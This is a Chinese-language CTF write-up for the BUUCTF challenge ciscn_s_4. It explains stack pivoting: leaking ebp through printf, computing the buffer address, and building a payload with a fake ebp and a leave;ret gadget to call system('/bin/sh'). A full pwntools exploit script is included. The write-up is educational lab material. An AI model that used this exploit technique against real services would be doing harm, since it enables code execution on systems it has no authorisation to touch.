ciscn_s_4栈迁移

ciscn_s_4

一个栈迁移
ciscn_s_4栈迁移_第1张图片
程序有两个read函数和printf函数。
在这里插入图片描述
程序有system函数,但是函数执行的功能只是输出字符串flag,并不能读取到flag。
所以我们需要自己在构造一个system的参数。

我们可以通过vuln函数的read进行一处,但是只读取了0x30的大小,只能溢出8个字节,显然这是远远不够的。
所以需要利用栈迁移,也就是将ebp劫持到我们想要执行的函数地址上。

leave; =>
mov esp ebp
pop ebp
ret; =>
pop eip

这道题我们把栈迁移到s的位置,也就是我们读取数据的地方。
我们在vul函数出下个断点,gdb看一下
在这里插入图片描述
这里就是ebp的位置,首先我们要先泄露出ebp的值,然后根据偏移计算出s的地址。
继续调试,可以看到s的地址
ciscn_s_4栈迁移_第2张图片
那么buf也就是s与ebp的偏移:0xffffcf88-0xffffcf50=0x38

首先我们需要泄露ebp的值
我们看到程序使用的是printf函数,我们可以在第一个read的时候输入0x28大小的字符串,printf就会把字符串和ebp的值一同打印出来。

payload1='a'*0x28
io.send(payload1)
io.recvuntil('a'*0x28)
ebp=u32(io.recv(4).ljust(4,'\x00'))

那么我们就可以得到s的地址:fake_ebp=ebp-0x38

接下来我们利用第二个read,传入system的参数,控制程序流程。
首先是system_addr,我们伪造的ebp地址就在这,然后填充四个字符,用于system返回地址。
system是fake_ebp+12的位置,所以我们输入fake_ebp+12,再传入’/bin/sh’用于system的参数。
然后是fake_ebp-4,这是因为我们利用的是两个leave,但是第二个leave的pop ebp,在出栈的时候会esp+4。就会指向esp+4的位置,并非我们想要的地址。所以:

payload2=p32(system_addr)
payload2+='aaaa'
payload2+=p32(fake_ebp+12)
payload2+='/bin/sh\x00'
payload2=payload2.ljust(0x28,'A')
payload2+=p32(fake_ebp-4)
payload2+=p32(leave_ret)

完整exp:

from pwn import*
context(arch='amd64',os='linux',log_level='debug')

binary='./buffer'
elf=ELF(binary)
libc=elf.libc

io=process(binary)

system_addr=elf.sym['system']
leave_ret=0x080484B8

io.recvuntil("name?\n")
payload='a'*(0x28)
io.send(payload)

io.recvuntil('a'*0x28)
ebp=u32(io.recv(4).ljust(4,'\x00'))
print('ebp=>{}'.format(hex(ebp)))

fake_ebp=ebp-0x38
print('fake_ebp=>{}'.format(hex(fake_ebp)))

payload=p32(system_addr)
payload+='aaaa'
payload+=p32(fake_ebp+12)
payload+='/bin/sh\x00'
payload=payload.ljust(0x28,'A')
payload+=p32(fake_ebp-4)
payload+=p32(leave_ret)

io.sendline(payload)
io.interactive()

你可能感兴趣的:(BUUCTF刷题记录)